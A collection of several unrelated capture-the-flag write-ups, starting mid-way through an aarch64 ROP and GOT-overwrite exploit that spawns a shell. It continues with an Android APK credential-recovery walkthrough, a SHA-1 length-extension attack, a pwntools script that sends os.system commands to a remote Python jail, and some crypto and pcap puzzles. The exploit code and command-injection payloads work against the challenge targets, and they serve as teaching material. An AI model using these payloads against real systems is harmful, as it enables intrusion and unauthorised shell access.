payload = b''payload += 128 * b'A'payload += 8 * b'B'payload += p64(libc.search(asm('ldp x19, x20, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;')).__next__())payload += (8 * 3) * b'C'payload += p64(libc.search(asm('mov x0, x19; ldr x19, [sp, #0x10]; ldp x29, x30, [sp], #0x20; ret;')).__next__())payload += p64(libc.search(b"/bin/sh").__next__())payload += (8 * 2) * b'D'payload += p64(libc.sym.system)
p.sendlineafter('> ',payload)for i in range(3): p.recvline()p.interactive()```
The rest of this just follows the _Exploit Walkthrough_ from above and should be fairly straightforward.
Output:
```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/wpictf2021/strong-arm/arm' Arch: aarch64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[*] '/pwd/datajerk/wpictf2021/strong-arm/libc-2.23.so' Arch: aarch64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to 172.104.14.64 on port 54732: Done[*] libc.address: 0x4000836000[*] Switching to interactive mode$ cat flag.txtWPI{a1ARM3d_arM315}```
## Exploit GOT-overwrite
Replace the payload above with:
```pythonpayload = b''payload += 128 * b'A'payload += p64(binary.got.puts-0x10-0x08)payload += p64(0x400678)payload += b'\n'payload += b'/bin/sh\0'payload += p64(libc.sym.system)```
This sets `x29` as the base of a stack frame in the GOT 24 bytes above the `puts` GOT entry, then sets `x30` as the `gets` in `vulnerable`:
```assembly 400678: 910043a0 add x0, x29, #0x10 40067c: 97ffffb1 bl 400540 <gets@plt> 400680: 90000000 adrp x0, 400000 <_init-0x4a0> 400684: 911e8000 add x0, x0, #0x7a0 400688: 97ffffa2 bl 400510 <puts@plt> 40068c: 910043a0 add x0, x29, #0x10 400690: 97ffffa0 bl 400510 <puts@plt>```
The first instruction sets the location of the string for `gets` in `x0` as `x29 + 16`, the other `8` bytes we subtracted from the location of `binary.got.puts` was for the string `/bin/sh\0`.
When `gets` is call on `main` `ret` that last two lines of the payload will overwrite `abort` and `puts` in the GOT with `/bin/sh` and the address of `system`. With `puts` now `system`, the second `puts` _puts_ `/bin/sh`, but it's really `system` and we get a shell.
Nice! |
# Water Color
Well we think this puzzle is hard!
Attachments:* [watercolor.apk](./watercolor.apk)
## SolutionUsed Bluestacks to emulate and jadx-gui to decompile the apk.
This is the obfuscated MainActivity of the app.```javapublic class bj9704hd extends Fragment { String sf8352oh; String tq9643uf;
public native void extraInfo();
public native byte[] initFromJNI();
static { System.loadLibrary("native-lib"); }
public void onCreate(Bundle bundle) { super.onCreate(bundle); }
public View onCreateView(LayoutInflater layoutInflater, ViewGroup viewGroup, Bundle bundle) { View inflate = layoutInflater.inflate(R.layout.fragment_login, viewGroup, false); final EditText editText = (EditText) inflate.findViewById(R.id.usernametext); final EditText editText2 = (EditText) inflate.findViewById(R.id.passwordtext); ((Button) inflate.findViewById(R.id.loginbtn)).setOnClickListener(new View.OnClickListener() { public void onClick(View view) { bj9704hd.this.sf8352oh = editText.getText().toString(); bj9704hd.this.tq9643uf = editText2.getText().toString(); if (bj9704hd.this.sf8352oh.matches("") || bj9704hd.this.tq9643uf.matches("")) { Toast.makeText(bj9704hd.this.getActivity().getApplicationContext(), "Username and Password are required", 0).show(); } else if (new dh7645oi().wr9452tb(bj9704hd.this.tq9643uf)) { bj9704hd.this.extraInfo(); SharedPreferences.Editor edit = bj9704hd.this.getActivity().getSharedPreferences("watercolor", 0).edit(); edit.putString("password", bj9704hd.this.tq9643uf); edit.commit(); bj9704hd.this.getActivity().getSupportFragmentManager().beginTransaction().replace(R.id.fragment_container, new nt9923ng()).addToBackStack("main").commit(); } else { Toast.makeText(bj9704hd.this.getActivity().getApplicationContext(), "Incorrect Username or Password", 0).show(); } } }); return inflate; }
class dh7645oi { Cipher uh7608nh;
public dh7645oi() { try { MessageDigest instance = MessageDigest.getInstance("SHA-256"); byte[] initFromJNI = bj9704hd.this.initFromJNI(); instance.update(initFromJNI, 0, initFromJNI.length); SecretKeySpec secretKeySpec = new SecretKeySpec(instance.digest(), "AES"); Cipher instance2 = Cipher.getInstance("AES"); this.uh7608nh = instance2; instance2.init(1, secretKeySpec); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } catch (InvalidKeyException e2) { e2.printStackTrace(); } catch (NoSuchPaddingException e3) { e3.printStackTrace(); } }
public String fg8461gs(String str) { try { return Base64.encodeToString(this.uh7608nh.doFinal(str.getBytes()), 2); } catch (BadPaddingException e) { e.printStackTrace(); return ""; } catch (IllegalBlockSizeException e2) { e2.printStackTrace(); return ""; } }
public boolean wr9452tb(String str) { try { String readLine = new BufferedReader(new InputStreamReader(bj9704hd.this.getActivity().getAssets().open("uw7289nv"))).readLine(); if (readLine == null || !readLine.equals(fg8461gs(str))) { return false; } return true; } catch (IOException e) { e.printStackTrace(); return false; } } }}```
It checks only the password when we try to login. The check is as follows...- `initFromJNI` from native library gives a string. The SHA-256 digest of the string is used as a key for AES ECB (No IV was used)- The password is encryped using the above AES instance- The encrypted password is base64 encoded and checked with asset `uw7289nv` which is...
`r6EszdHWf8TkNrC+BLfiXILGelpBPHw7koCOeLpBv8w=` --> `afa12ccdd1d67fc4e436b0be04b7e25c82c67a5a413c7c3b92808e78ba41bfcc`
**Password**
I have Bluestacks rooted and ADB with Frida Server... So I used JNItrace to log the JNI and tried to login...
Key is `MfVLoHWWiAyeaTl` SHA-256 --> `770f97bc76546a3508b6be54adac963af6e86f67551993904f56feccb0ce2388`
AES decrypting it gives the password `Th!$_!$_$uPp0s3d_t0_63_$3cur3`
There is another function that is called from native library when we succesfully login `extraInfo`. I used IDA to decompile the native library, at the end of the function we see this...
```cpp __android_log_print(4LL, "watercolor", "valid username is: %s", v3);```So instead of reversing the function I used ADB logcat to see the logs, then logged in the apk with the valid password.
**Username**
```04-26 19:35:23.335 1520 1577 I audio_hw_primary: choose pcmC0D0p for 004-26 19:35:23.337 5105 5105 I watercolor: valid username is: !@W@t3RC^l3r&$3cr3t!U53R#04-26 19:35:23.352 5105 5114 I art : Do partial code cache collection, code=24KB, data=29KB04-26 19:35:23.354 5105 5114 I art : After code cache collection, code=24KB, data=29KB04-26 19:35:23.354 5105 5114 I art : Increasing code cache capacity to 128KB04-26 19:35:23.362 1846 1877 D InputMethodManagerService: packageName=io.peykar.watercolor, activityName=.kg8923um```
So username is `!@W@t3RC^l3r&$3cr3t!U53R#`
Now we got the username and password but where is flag??? There is a `solvedPuzzleUI` function in another class...
### solvedPuzzleUI```java private void solvedPuzzleUI() { LinearLayout linearLayout = (LinearLayout) this.hd9863mm.findViewById(R.id.pauseContainer); getLayoutInflater().inflate(R.layout.puzzle_solved_ui, linearLayout, true); linearLayout.setClickable(true); linearLayout.setVisibility(0); ((Button) this.hd9863mm.findViewById(R.id.okBtn)).setOnClickListener(new View.OnClickListener() { public void onClick(View view) { new Thread(new Runnable() { public void run() { try { URI uri = new URI(kj0762ey.this.ss2176jv.getResources().getString(R.string.hostname)); OkHttpClient unused = kj0762ey.this.fs9572kw = se5498vr.ab3702ns(uri.getHost(), kj0762ey.this.ss2176jv.getResources().getString(R.string.fingerprint)); String string = kj0762ey.this.gs0973mt.getString("password", ""); JSONObject jSONObject = new JSONObject(); try { jSONObject.put("username", "find a valid username to capture the flag"); jSONObject.put("password", string); kj0762ey.this.fs9572kw.newCall(new Request.Builder().url(uri.toURL()).post(RequestBody.create(kj0762ey.this.yh5921pa, jSONObject.toString())).build()).enqueue(new Callback() { public void onFailure(Call call, IOException iOException) { Log.i("watercolor", "Failure in sending request"); iOException.printStackTrace(); }
public void onResponse(Call call, Response response) { Log.i("watercolor", "Response received successfully"); } }); } catch (JSONException e) { e.printStackTrace(); } } catch (Exception e2) { e2.printStackTrace(); } } }).start(); kj0762ey.this.getActivity().getSupportFragmentManager().popBackStack(); kj0762ey.this.getActivity().getSupportFragmentManager().beginTransaction().replace(R.id.fragment_container, new bj9704hd()).addToBackStack("login").commit(); } });
```
On solving the puzzle it sends a JSON with username and password to the address in `hostname`.
In `Resources/resources.arsc/res/values/strings.xml` we get the hostname `https://water-color.peykar.io`
I made a post request with curl to get the flag```curl --header "Content-Type: application/json" \ --request POST \ --data '{"username":"!@W@t3RC^l3r&$3cr3t!U53R#","password":"Th!$_!$_$uPp0s3d_t0_63_$3cur3"}' \ https://water-color.peykar.io
{"flag":"S4CTF{W4t3r_C0l0r_is_Beaut1fu1_But_Danger0u5_B3_C4r3ful!!}"}```
## Flag> `S4CTF{W4t3r_C0l0r_is_Beaut1fu1_But_Danger0u5_B3_C4r3ful!!}` |
# Description
### Title: PleaseClickAlltheThings
Note: this challenge is the start of a series of challenges. The purpose of this CTF challenge is to bring real world phishing attachments to the challengers and attempt to find flags (previously executables or malicious domains) within the macros. This is often a process used in IR teams and becomes an extremely valuable skill. In this challenge weβve brought to the table a malicious html file, GandCrab/Ursnif sample, and a IceID/Bokbot sample. Weβve rewritten the code to not contain malicious execution however system changes may still occur when executing, also some of the functionalities have been snipped and will likely not expose itself via dynamic analysis.
```β’ Outlook helps, with proper licensing to access necessary features β¦ Otherwise oledump or similar would also help but isnβt necessaryβ’ CyberChef is the ideal tool to use for decoding```This challenge is brought to you by SRA
PASSWORD: RITSEC
# Solution
Each solution is in the corresponding folder
### Sub-challenges- [BeginnersRITSEC.html](/RITSEC-2021/forensics/Please%20Click%20All%20The%20Things/solve/BeginnersRITSEC.html/solve.md)- [GandCrab](/RITSEC-2021/forensics/Please%20Click%20All%20The%20Things/solve/GandCrab_Ursnif/solve.md)- Ursnif (Unsolvable, so the corresponding challenge was removed)- [IceID](/RITSEC-2021/forensics/Please%20Click%20All%20The%20Things/solve/IceID_BokBot/solve_IceId.md)- BokBot (Unsolved; Challenge was fixed after CTF; I have provided the fixed file) |
# Secure Protocol
So, there's a secret `msg`, and we are given `salt1, salt2, h` such that:```h = sha1(salt1 + msg + salt2})```
and we are tasked with finding `salt1', salt2', h'` such that:```1. salt1 != salt1'2. salt2 != salt2'3. h != h'4. h' = sha1(salt1' + msg + salt2' + s3})```
Note: We may assume `s3` as a given variable since it only changes every minute.
Let's assume we weren't required to meet condition #1. In that case, we could mount a length extension attack:- We have a suffix of the original message: `salt2`- We have the hash value of the message ending in that suffix: `h`- We are trying to compute hash of an extended string ending with `s3`
And an length extension attack gives us just that. [This SO answer](https://crypto.stackexchange.com/a/3979/4449) does a good job of explaining how the attack works.
But how about the 1st condition `salt1 != salt1'`? A minor yet important detail is that we are not passing value of the salts directly, but rather in `base64`ed encoding. So, we can easily pad the string with a `=` and while our input string will change, the resulting decoded value won't. Hence we bypass the `salt1 != salt1'` check.
Another minor detail: There's a WAF that limits the number of requests you can make during a time interval. But it's not a big deal since you can wait between subsequent requests, and you will find the flag on message length = 64 anyway.
```Wow, you have it! Flag: S4CTF{HasH_4nd_ba5e64_ok_0k_ok}``` |
```#!/usr/bin/env python3# @author: codaholikid
from pwn import *
host = '138.68.147.93'port = 31831
r = remote(host, port)r.recvuntil('>>> \n')r.sendline('__import__("os").system("ls")')print(r.recv().decode().strip())r.sendline('__import__("os").system("cat flag.txt")')print(r.recv().decode().strip()) |
**Description**: The aliens saw us break PhaseStream 3 and have proposed a quick fix to protect their new cipher.
**Stars**: 2/5
**Downloadable**:output.txt - encrypted filephasestream4.py - encryption algorithm
**Goal**: To find a vulnerability of the algorithm and decrypt the flag
**Solution**:
Similar as for [PhaseStream 3](), we need to use same Crib Dragging technique but this time we do not have a plaintext for the first encrypted blob.
We know the flag format of course, if we input as a known plaintext, we will receive first 5 characters of the plaintext used in the first encryption.
(https://github.com/lasq88/CTF/blob/main/HTB%20Cyber%20Apocalypse%202021/crypto_ps4/writeup/cribdragging.png)
From there some googling will take us to this quite from Mother Theresa: "I alone cannot change the world, but I can cast a stone across the waters to create many ripples."
If we use it as a key, we get our flag:
(https://github.com/lasq88/CTF/blob/main/HTB%20Cyber%20Apocalypse%202021/crypto_ps4/writeup/cribdragging2.png) |
1. Take the mappings from the pdf documentation, and create a dictionary of hex -> key value pairs.2. Write a script which loads the `pcap` file, using `scapy` for example.3. Read the 6th and 8th bytes counting from the end of each packet data.4. Use the 8th byte to detect `Shift` presses.5. Use the 6th byte to determine the symbol being typed.6. String it all together (we can also handle backspace by removing the last element from our string). |
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